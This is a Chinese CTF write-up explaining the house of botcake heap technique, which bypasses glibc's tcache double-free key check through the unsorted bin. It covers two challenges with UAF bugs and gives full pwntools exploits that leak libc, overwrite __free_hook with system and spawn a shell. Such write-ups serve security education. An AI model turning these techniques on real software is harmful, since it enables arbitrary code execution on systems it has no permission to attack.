高版本unsortedbin中double free打tcache poisoning:
Glibc 2.29版本新增了Tcache Key机制来应对Tcache Double Free,house of botcake是利用UAF漏洞将Chunk存入Unsorted bin中,绕过Tcache Key机制的检查进行Double Free,使得Chunk再次存入到Tcache bin中
- 存在 UAF 漏洞
- 可以进行至少两次 Free 操作
Tcache Key机制介绍
size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { /* Check to see if it's already in the tcache. */ tcache_entry *e = (tcache_entry *) chunk2mem (p); /* This test succeeds on double free. However, we don't 100% trust it (it also matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an unlikely coincidence before aborting. */ if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ }
被free的堆块进入unsorted bin中,避免了key的生成。当堆块再次free进入tcache后,就绕过了Tcache Key机制的检查,从而能够实现高版本的tcache double free
[*] '/home/shu/mypwn/House of house/house of botcake/Magic_Book/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
程序没有edit函数和show函数,然后有只能用一次的UAF漏洞。对申请的字节数还有限制,最大为0x100
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int v3; // eax int v4; // [rsp+Ch] [rbp-14h] BYREF int *v5; // [rsp+10h] [rbp-10h] unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); setbuf_0(a1, a2, a3); v4 = 0; v5 = &v4; book_of_wishes(); while ( 1 ) { while ( 1 ) { menu(); __isoc99_scanf("%d", v5); v3 = *v5; if ( *v5 != 9 ) break; delete_uaf(); } if ( v3 <= 9 ) { if ( v3 == 1 ) { add(); } else if ( v3 == 2 ) { delete(); } } } }
__int64 delete_uaf() { int idx; // [rsp+Ch] [rbp-4h] if ( dword_4054 > 0 ) { puts("Wrong!\n"); exit(0); } printf("Index: "); idx = read_idx(); free(*((void **)&unk_4060 + idx)); return (unsigned int)++dword_4054; } int delete() { int result; // eax int v1; // [rsp+Ch] [rbp-4h] if ( dword_4050 > 1 ) { puts("There is now an opportunity to withdraw, but sometimes..."); ++dword_4050; } result = dword_405C; if ( dword_405C <= 10 ) { printf("Index: "); result = read_idx(); v1 = result; if ( (unsigned int)result <= 0x11 ) { if ( !*((_QWORD *)&unk_4060 + result) ) { puts("Wrong!\n"); exit(0); } free(*((void **)&unk_4060 + result)); *((_QWORD *)&unk_4060 + v1) = 0LL; return puts("Done!\n"); } } return result; }
这题如果单纯的打house of botcake,那么后续只能打io leak泄露一个堆地址。如果想第二次打tcache poisoning的话,就必须要进行一点布局
add(0x100,'a') add(0x100,'b') add(0x80,'c') payload=p64(0xdeadbeef)*14+p64(0x180)+p64(0x90) add(0x100,payload)#size and prev_size of unsigned bin to be forged
for i in range(6): add(0x100,'a') for i in range(3,10): delete(i) uaf(1) delete(0)
将 chunk3-10 delete来把tcachebin填满
free掉chunk1,再将chunk0 delete来与chunk1合并
add(0x100,'a')#take one from tcache bin delete(1)#double free
原chunk1 double free
add(0x70,'a')#let the fd pointer of unsorted bin local tcache bin add(0x80,'a') add(0x90,'\xa0\x46')#stdout struct
申请不同于0x100大小的堆块来分割unsortedbin
payload=p64(0xdeadbeef)*18+p64(0)+p64(0x180) add(0x100,payload)#tamper size of unsorted bin
原chunk1剩余的部分杯篡改为0x180大小
我们先前对chunk4的布置,伪造的prev_size和size
payload=p64(0xfbad1887)+p64(0)*3+b'\x00' add(0x100,payload)#io leak
io leak泄露libc地址
delete(12) delete(2)#second tcache poisoning
payload=p64(0xdeadbeef)*12+p64(0x70)+p64(0x90)+p64(free_hook) add(0xb0,payload)#Cut a piece of memory from unsorted bin to control the fd pointer of tcache bin
add(0x80,'/bin/sh\x00') add(0x80,p64(sys_addr))
# encoding = utf-8 from pwn import * from pwnlib.rop import * from pwnlib.context import * from pwnlib.fmtstr import * from pwnlib.util.packing import * from pwnlib.gdb import * from ctypes import * import os import sys import time import base64 # from ae64 import AE64 # from LibcSearcher import * context.os = 'linux' context.arch = 'amd64' # context.arch = 'i386' context.log_level = "debug" s = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') context.terminal = ['gnome-terminal','-x','sh','-c'] def dbg(): gdb.attach(proc.pidof(p)[0]) pause() def add(size,content): p.sendlineafter("Your choice : ",str(1)) p.sendlineafter("Size: ",str(size)) p.sendafter("Content: ",content) def delete(index): p.sendlineafter("Your choice : ",str(2)) p.sendlineafter("Index: ",str(index)) def uaf(index): p.sendlineafter("Your choice : ",str(9)) p.sendlineafter("Index: ",str(index)) def pwn(): add(0x100,'a')#prev add(0x100,'b')#victim add(0x80,'c')#second tcache poisoning.after the first tcache poisoning,the 0x100 tcache chain will bad #so we need to prepare 0x80 tcache chain payload=p64(0xdeadbeef)*14+p64(0x180)+p64(0x90) add(0x100,payload)#size and prev_size of unsigned bin to be forged for i in range(6): add(0x100,'a') for i in range(3,10): delete(i) uaf(1) delete(0) add(0x100,'a')#take one from tcache bin delete(1)#double free add(0x70,'a')#let the fd pointer of unsorted bin local tcache bin add(0x80,'a') add(0x90,'\xa0\x46')#stdout struct payload=p64(0xdeadbeef)*18+p64(0)+p64(0x180) add(0x100,payload)#tamper size of unsorted bin payload=p64(0xfbad1887)+p64(0)*3+b'\x00' add(0x100,payload)#io leak leak_libc=l64() libc_base=leak_libc-0x1ec980 li('libc_base = '+hex(libc_base)) free_hook=libc_base+libc.symbols['__free_hook'] sys_addr=libc_base+libc.symbols['system'] delete(12) delete(2)#second tcache poisoning payload=p64(0xdeadbeef)*12+p64(0x70)+p64(0x90)+p64(free_hook) add(0xb0,payload)#Cut a piece of memory from unsorted bin to control the fd pointer of tcache bin add(0x80,'/bin/sh\x00') add(0x80,p64(sys_addr)) delete(17) p.interactive() while 1: try: p = process('./pwn') libcso = './libc' libc = ELF(libcso) elf = ELF('./pwn') pwn() except: p.close()
保护全开
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
常规菜单题,没有edit功能
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { unsigned __int64 number; // rax setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); while ( 1 ) { print_menu(); number = get_number(); if ( number == 4 ) { puts("Bye!"); exit(0); } if ( number <= 4 ) { switch ( number ) { case 3uLL: op_view(); goto LABEL_13; case 1uLL: op_malloc(); goto LABEL_13; case 2uLL: op_free(); goto LABEL_13; } } puts("Invalid choice!"); LABEL_13: putchar(10); } }
在op_free函数中观察到很明显的UAF漏洞
void op_free() { __int64 index; // [rsp+8h] [rbp-8h] puts("Index?"); index = get_index(); free(*((void **)&chonks + index)); }
和上一题的打法相似,依旧是围绕double free做文章
# encoding = utf-8 from pwn import * from pwnlib.rop import * from pwnlib.context import * from pwnlib.fmtstr import * from pwnlib.util.packing import * from pwnlib.gdb import * from ctypes import * import os import sys import time import base64 context.os = 'linux' context.arch = 'amd64' context.log_level = "debug" name = './pwn' debug = 0 if debug: p = remote('127.0.0.1',8000) else: p = process(name) libcso = './libc.so.6' libc = ELF(libcso) elf = ELF(name) s = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') context.terminal = ['gnome-terminal','-x','sh','-c'] add_idx = 1 free_idx = 2 show_idx = 3 def dbg(): gdb.attach(proc.pidof(p)[0]) pause() def choice(cho): sla('> ',cho) def add(idx,size,con): choice(add_idx) sla('Index?\n',idx) sla('Size?\n',size) p.sendlineafter('content: ',con) def delete(idx): choice(free_idx) sla('Index?\n',idx) def show(idx): choice(show_idx) sla('Index?\n',idx) add(0,0x100,'aaa') #F add(1,0x100,'bbb') #C for i in range(2,9): add(i,0x100,'eee') for i in range(2,9): delete(i) delete(1) show(1) libc_base=l64()-0x1ecbe0 li('libc_base = '+hex(libc_base)) free_hook=libc_base+0x1eee48 system=libc_base+0x52290 delete(0) add(2,0x100,'tcache') delete(1) #double free add(3,0x70,'111') add(4,0x80,'222') add(5,0x90,p64(free_hook)) add(6,0x100,'/bin/sh\x00') add(7,0x100,p64(system)) delete(6) itr()
成功getshell